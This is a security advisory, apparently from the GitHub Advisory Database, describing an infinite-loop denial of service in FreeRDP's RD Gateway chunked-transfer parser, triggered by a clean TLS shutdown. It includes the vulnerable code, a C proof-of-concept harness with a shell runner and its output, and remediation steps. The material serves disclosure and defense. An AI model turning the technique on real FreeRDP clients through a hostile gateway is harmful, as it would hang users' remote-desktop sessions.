FreeRDP: Clean TLS shutdown during a chunked RD Gateway response causes an infinite loop
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
When a FreeRDP client connects through a malicious or compromised RD Gateway, the gateway can select HTTP chunked transfer encoding, send an incomplete chunk-size line or chunk footer, and then complete a clean TLS shutdown. FreeRDP's production TLS BIO returns 0 after SSL_read reports SSL_ERROR_ZERO_RETURN, but http_chuncked_read treats every nonnegative result as progress. With status == 0, neither headerFooterPos nor the destination pointer advances, so the chunk-size or footer loop never exits.
This is specifically a clean-EOF flaw. A memory BIO with no available input returns retryable -1, and FreeRDP returns that error without hanging. A TLS peer's valid close_notify produces the zero return required by the vulnerable path.
The relevant size-line logic in libfreerdp/core/gateway/http.c is:
status = BIO_read(bio, dst, 1);
if (status >= 0)
{
if (*dst == '\n')
_haveNewLine = TRUE;
encodingContext->headerFooterPos += (size_t)status;
dst += status;
}
else
return (effectiveDataLen > 0 ? effectiveDataLen : status);The two-byte footer uses the same status >= 0 condition. FreeRDP's TLS wrapper in libfreerdp/crypto/tls.c exposes the production trigger:
status = SSL_read(tls->ssl, buf, size); error = SSL_get_error(tls->ssl, status); /* ... */ case SSL_ERROR_ZERO_RETURN: BIO_clear_flags(bio, BIO_FLAGS_SHOULD_RETRY); break; /* ... */ return status;
The vulnerable state machine was introduced with RD Gateway chunked-transfer support. Release 2.2.0 does not contain it. Every inspected release from 2.3.0 through 3.31.1 does, including all 55 inspected 3.x tags, and current master remains affected. FreeRDP's outer gateway timeout cannot fire because the inner decoder never returns. Searches of the official public history found the feature request and introducing PR #6734, but no report or fix for clean EOF in these loops.
The demonstrated effect is a deterministic infinite loop in the client decoder thread. The report does not claim memory corruption, credential compromise, code execution, or a TLS bypass. The victim must initiate a connection through the malicious or compromised gateway.
Reproduction
The PoC compiles the real http_chuncked_read function from FreeRDP 3.31.1 and runs four cases: a valid body, retryable no-data, clean EOF after a partial size line, and clean EOF after one footer byte. The two trigger cases are bounded by a two-second safety timeout.
Requirements are a FreeRDP 3.31.1 source checkout, its completed build directory, a C compiler, OpenSSL development files, and the POSIX timeout utility. From the report directory:
cd poc export FREERDP_SRC="$PWD/freerdp-source" export FREERDP_BUILD="$PWD/freerdp-build" sh ./run.sh
Observed output against the exact 3.31.1 parser source:
case=valid begin case=valid returned=5 state=3 position=0 case=retry begin case=retry returned=-1 state=0 position=1 case=header-clean-eof begin case=header-clean-eof timeout_status=124 case=footer-clean-eof begin case=footer-clean-eof timeout_status=124 result=PASS
The status-124 results mean the processes were stopped by the safety timeout without returning from the decoder. The script fails if either trigger prints a returned line.
<!-- BEGIN FILE: http_chunked_eof.c -->
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libfreerdp/core/gateway/http.c"
typedef enum
{
SOURCE_CLEAN_EOF,
SOURCE_RETRY
} source_end;
typedef struct
{
const char* data;
size_t length;
size_t offset;
source_end end;
} source_state;
static int source_read(BIO* bio, char* buffer, int length)
{
source_state* state = (source_state*)BIO_get_data(bio);
BIO_clear_retry_flags(bio);
if (!state || !buffer || (length <= 0))
return 0;
if (state->offset < state->length)
{
buffer[0] = state->data[state->offset++];
return 1;
}
if (state->end == SOURCE_RETRY)
{
BIO_set_retry_read(bio);
return -1;
}
return 0;
}
static int source_write(BIO* bio, const char* buffer, int length)
{
(void)bio;
(void)buffer;
return length;
}
static long source_ctrl(BIO* bio, int command, long number, void* pointer)
{
(void)bio;
(void)command;
(void)number;
(void)pointer;
return 1;
}
static int source_create(BIO* bio)
{
BIO_set_init(bio, 1);
return 1;
}
static int source_destroy(BIO* bio)
{
(void)bio;
return 1;
}
static BIO* source_new(source_state* state, BIO_METHOD** output_method)
{
if (!output_method)
return NULL;
*output_method = NULL;
BIO_METHOD* method = BIO_meth_new(BIO_TYPE_SOURCE_SINK, "controlled-source");
if (!method)
return NULL;
BIO_meth_set_read(method, source_read);
BIO_meth_set_write(method, source_write);
BIO_meth_set_ctrl(method, source_ctrl);
BIO_meth_set_create(method, source_create);
BIO_meth_set_destroy(method, source_destroy);
BIO* bio = BIO_new(method);
if (bio)
{
BIO_set_data(bio, state);
*output_method = method;
}
else
BIO_meth_free(method);
return bio;
}
static int run_case(const char* name)
{
http_encoding_chunked_context context = WINPR_C_ARRAY_INIT;
BYTE output[64] = WINPR_C_ARRAY_INIT;
source_state source = WINPR_C_ARRAY_INIT;
if (strcmp(name, "valid") == 0)
{
source.data = "5\r\nhello\r\n0\r\n\r\n";
source.length = strlen(source.data);
source.end = SOURCE_RETRY;
context.state = ChunkStateLenghHeader;
}
else if (strcmp(name, "retry") == 0)
{
source.data = "5";
source.length = 1;
source.end = SOURCE_RETRY;
context.state = ChunkStateLenghHeader;
}
else if (strcmp(name, "header-clean-eof") == 0)
{
source.data = "5";
source.length = 1;
source.end = SOURCE_CLEAN_EOF;
context.state = ChunkStateLenghHeader;
}
else if (strcmp(name, "footer-clean-eof") == 0)
{
source.data = "\r";
source.length = 1;
source.end = SOURCE_CLEAN_EOF;
context.state = ChunkStateFooter;
}
else
{
fprintf(stderr,
"usage: %s valid|retry|header-clean-eof|footer-clean-eof\n",
name);
return 2;
}
BIO_METHOD* method = NULL;
BIO* bio = source_new(&source, &method);
if (!bio)
{
fprintf(stderr, "BIO allocation failed\n");
return 2;
}
fprintf(stderr, "case=%s begin\n", name);
const int result = http_chuncked_read(bio, output, sizeof(output), &context);
fprintf(stderr, "case=%s returned=%d state=%d position=%zu\n", name, result,
(int)context.state, context.headerFooterPos);
BIO_free(bio);
BIO_meth_free(method);
return 0;
}
int main(int argc, char** argv)
{
if (argc != 2)
{
fprintf(stderr,
"usage: %s valid|retry|header-clean-eof|footer-clean-eof\n",
argv[0]);
return 2;
}
return run_case(argv[1]);
}<!-- END FILE: http_chunked_eof.c -->
<!-- BEGIN FILE: run.sh -->
#!/bin/sh
set -eu
BASE_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
BUILD_DIR=${BUILD_DIR:-"$BASE_DIR/.build"}
CC=${CC:-cc}
: "${FREERDP_SRC:?Set FREERDP_SRC to a FreeRDP 3.31.1 source checkout}"
: "${FREERDP_BUILD:?Set FREERDP_BUILD to its completed build directory}"
FREERDP_LIB_DIR=${FREERDP_LIB_DIR:-"$FREERDP_BUILD/libfreerdp"}
WINPR_LIB_DIR=${WINPR_LIB_DIR:-"$FREERDP_BUILD/winpr/libwinpr"}
TIMEOUT=${TIMEOUT:-timeout}
mkdir -p "$BUILD_DIR"
"$CC" -std=gnu11 -w -O1 -g -ffunction-sections -fdata-sections \
-I"$FREERDP_SRC" \
-I"$FREERDP_SRC/include" \
-I"$FREERDP_SRC/winpr/include" \
-I"$FREERDP_BUILD/include" \
-I"$FREERDP_BUILD/winpr/include" \
${EXTRA_CPPFLAGS:-} \
"$BASE_DIR/http_chunked_eof.c" \
-L"$FREERDP_LIB_DIR" -L"$WINPR_LIB_DIR" \
-Wl,--gc-sections -Wl,-rpath,"$FREERDP_LIB_DIR" -Wl,-rpath,"$WINPR_LIB_DIR" \
-lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread \
${EXTRA_LDFLAGS:-} \
-o "$BUILD_DIR/http_chunked_eof"
run_returning_case()
{
name=$1
expected=$2
output=$($TIMEOUT 2 "$BUILD_DIR/http_chunked_eof" "$name" 2>&1)
printf '%s\n' "$output"
printf '%s\n' "$output" | grep -F "$expected" >/dev/null
}
run_hanging_case()
{
name=$1
set +e
output=$($TIMEOUT 2 "$BUILD_DIR/http_chunked_eof" "$name" 2>&1)
status=$?
set -e
printf '%s\n' "$output"
printf 'case=%s timeout_status=%s\n' "$name" "$status"
test "$status" -eq 124
if printf '%s\n' "$output" | grep -F ' returned=' >/dev/null; then
echo "unexpected return from $name" >&2
return 1
fi
}
run_returning_case valid 'case=valid returned=5'
run_returning_case retry 'case=retry returned=-1'
run_hanging_case header-clean-eof
run_hanging_case footer-clean-eof
echo 'result=PASS'<!-- END FILE: run.sh -->
Remediation
Treat BIO_read results less than or equal to zero as terminal in both ChunkStateLenghHeader and ChunkStateFooter; only a strictly positive return should advance or continue the parser state. Retain the outer timeout for retryable I/O, but do not rely on it to stop an inner no-progress loop.
Add regression tests for a complete chunked body, retryable no-data, clean EOF before and during the size line, clean EOF after zero and one footer bytes, and clean EOF during chunk data. The header and footer EOF tests should return promptly without an external timeout.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 2.3.0, <= 3.31.1GitHub